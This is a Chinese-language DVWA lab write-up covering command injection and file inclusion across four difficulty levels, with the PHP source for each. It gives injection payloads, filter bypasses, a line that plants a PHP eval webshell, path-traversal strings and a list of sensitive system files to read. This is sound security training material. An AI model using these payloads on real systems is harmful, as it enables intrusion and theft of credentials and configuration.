命令注入 commond_injection

源码、分析、payload:

low:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
} ?>

分析源码可以看到从用户那里取得ip数据,调用系统shell执行ping命令,结果直接返回网页,ping的目标就是用户提交的ip数据。但是没有任何的过滤防护导致系统shell完全可控。



如图1,payload:127.0.0.1 & echo Hacked!,显示指定字符串。将echo换成fputs(fopen("shell.php","w"), '<?php eval($_POST["cmd"]) ?>');则将会在web应用根目录下生成shell.php文件得到webshell。(为书写方便,只用echo,不再用其他命令)

middle:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
} ?>

分析源码看到,使用黑名单对用户输入数据进行了简单过滤。但是黑名单不全,且没有进行迭代过滤,导致可绕过过滤。

1、由黑名单不全可得:使用其他的逻辑链接词,例如| || & 等,payload:127.0.0.1 & echo Hacked!

如图2,命令执行成功

2、由没有迭代过滤可得:构造巧妙的命令,使过滤后的命令再次组成可执行命令。payload:127.0.0.1 &;& echo Hacked!,这样,分号被过滤,剩下的命令仍可继续执行

如图3,命令执行成功

high:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]); // Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
} ?>

分析代码,看到黑名单增加了,基本上可能导致命令注入的符号都被过滤。然而仔细看'| ' => ''这段代码,管道符右侧有一个空格,这样构造payload:127.0.0.1 |echo Hacked!(在管道符左侧有一空格,右侧没有),可成功取得webshell。

如图4,命令成功执行

impossible:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); // Split the IP into 4 octects
$octet = explode( ".", $target ); // Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

分析代码看到,把传进的参数以.分割为数组,取前四个,利用is_numeric()函数分析是否为数字类型。这样就确保了调用系统shell时给定的参数只为数字,程序不再有漏洞可以利用。

文件包含 file_include

源码,分析,payload

为了方便显示,在web根目录下建立一个shell.php,内容:<?php phpinfo();?>输出php设置

low:

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; ?>

完全没有过滤,直接从get超数组取得想要包含的文件并包含执行。

payload:?page=../../shell.php,如图5,确实包含并执行了shell.php,我们取得了控制权。我们甚至可以包含系统的一些敏感文件,如下

/etc/passed                                          //Linux下各用户的账户密码
/usr/local/app/apache2/conf/extra/http-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.conf //MySQL配置文件
/proc/self/environ //Linux下环境变量文件

以下将会包含shell.php做证明和演示

如图5

middle:

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>

可以看到,代码过滤了http和https协议头即拒绝了远程包含,并过滤了跳转上一级的命令。

1、针对过滤的协议头,代码仍然没有迭代过滤,导致利用内嵌的组合形式绕过。payload:page=hthttps://tps://,如图6绕过了过滤实现了远程文件包含

2、针对过滤的../ ..\命令,仍然可以继续利用没有迭代过滤的问题,也可以直接使用绝对路径来解决。payload:page=..././..././shell.phppage=/var/www/html/dvwa/shell.php,如图7

high:

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

代码实现了对文件名的匹配,page参数需要以file开头或者文件名为include.php。这样在一定程度上保证了安全性,但是仍有方法可以绕过。

使用php封装的伪协议,构造payload:page=file://var/www/html/dvwa/shell.php,这样匹配上了过滤代码的要求,如图8

impossible:

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

可以看到,文件名被硬编码在了过滤脚本中。在这样的特定环境中,不可能有攻击漏洞可利用,因此是安全的。

dvwa——命令注入&文件包含的更多相关文章

  1. DVWA命令注入扣动分析

    本周学习内容: 1.学习web应用安全权威指南: 2.观看安全学习视频: 实验内容: 进行DVWA命令注入漏洞 实验步骤: Low 1.打开DVWA,进入DVWA Security模块将 Level修 ...

  2. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  3. 代码注入/文件包含 弹出Meterpreter

    主要通过 msf 中 exploit 的 web_delivery 模块来实现此功能 0x01 前提背景 目标设备存在远程文件包含漏洞或者命令注入漏洞,想在目标设备上加载webshell,但不想在目标 ...

  4. 《11招玩转网络安全》之第五招:DVWA命令注入

    首先还是将DVWA的安全级别设置为Low,然后单击DVWA页面左侧的Command Injection按钮. ​ 图5-1  Low级别的命令注入 这个就是最典型的命令注入接口.在文本框中输入一个IP ...

  5. C语言预处理命令之文件包含

    文件包含预处理命令的一般形式是: #include<文件名> 或者 #include“文件名” #include命令告诉预处理器用指定文件的内容替换这条命令,两种不同的命令格式决定了预处理 ...

  6. 骑士CMS<6.0.48 模板注入文件包含漏洞复现及遇到的坑

    1.坑 payload:variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名=&q ...

  7. DVWA靶场之File Inclusion(文件包含)通关

    文件包含,未经过严格过滤,将一些恶意构造带入了包含函数,可以使用一些包含函数来包含一些其他乱七八糟的东西,要么导致任意文件读取,要么命令执行 文件包含包括远程文件包含(RFI)和本地文件包含(LFI) ...

  8. DVWA 黑客攻防演练(四)文件包含 File Inclusion

    文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...

  9. PHP代码审计2-常用超全局变量,常用命令注入,常用XSS漏洞审计,文件包含

    超全局变量 $GLOBALS — 引用全局作用域中可用的全部变量$_SERVER — 服务器和执行环境信息$_GET — HTTP GET 变量$_POST — HTTP POST 变量$_FILES ...

随机推荐

  1. kendo ui - DatePicker 日期时间系列

    kendo-ui 官网:https://www.telerik.com/documentation 初始化 grid: 引入文件: <link rel="stylesheet" ...

  2. 安装vue

    node.js环境(npm包管理器) vue-cli 脚手架构建工具 cnpm npm的淘宝镜像 1) 安装node.js 从node.js官网下载并安装node,安装过程很简单,一直点下一步就ok了 ...

  3. HDU2544(dijkstra_邻接矩阵最水的题没有之一)

    https://cn.vjudge.net/problem/HDU-2544 在每年的校赛里,所有进入决赛的同学都会获得一件很漂亮的t-shirt.但是每当我们的工作人员把上百件的衣服从商店运回到赛场 ...

  4. w10下Oracle 11g完全干净卸载

    1.关闭oracle所有的服务.可以在windows的服务管理器中关闭:   2.打开注册表:regedit 打开路径: <找注册表 :开始->运行->regedit>   H ...

  5. 404 Note Found队 福大助手项目测评

    目录 第一部分 调研,评测 福大助手的bug IOS端 Android端 福大助手结构体系的思维导图 为什么开发人员没有发现这个bug 假设团队开发这款app,应注意哪些方面(架构.部署运维.微服务等 ...

  6. 第一次作业:基于Linux 4.5的进程模型与调度器分析

    1.操作系统是怎么组织进程的? 1.1什么是线程,什么是进程: 刚接触时可能经常会将这两个东西搞混.简单一点的说,进程是一个大工程,线程则是这个大工程中每个小地方需要做的东西(在linux下看作&qu ...

  7. 基于 HTML5 Canvas 的智能安防 SCADA 巡逻模块

    基于 HTML5 Canvas 的智能安防 SCADA 巡逻模块 前言 最近学习了 HT for Web flow 插件,除了正常的 flow 效果,其中还有两个十分好用的两个接口 getPercen ...

  8. Go语言中的常量

    1 概述 常量,一经定义不可更改的量.功能角度看,当出现不需要被更改的数据时,应该使用常量进行存储,例如圆周率.从语法的角度看,使用常量可以保证数据,在整个运行期间内,不会被更改.例如当前处理器的架构 ...

  9. 架构相关:组件化/模块化/工程化/性能优化/开发规范与团队协作/组件间调用与通信(flex/redux)/调试与测试

    https://github.com/fouber/blog http://teropa.info/blog/2015/09/10/full-stack-redux-tutorial.html htt ...

  10. 2017-2018-1 20155220 《信息安全系统设计基础》课下实践——实现mypwd

    学习pwd命令 输入pwd命令 于是man 1 pwd查看pwd详细 然后查看pwd实现需要的系统调用man -k; grep 在这发现了一个功能相同的内核函数getcwd 到这步就很简单了,先查看这 ...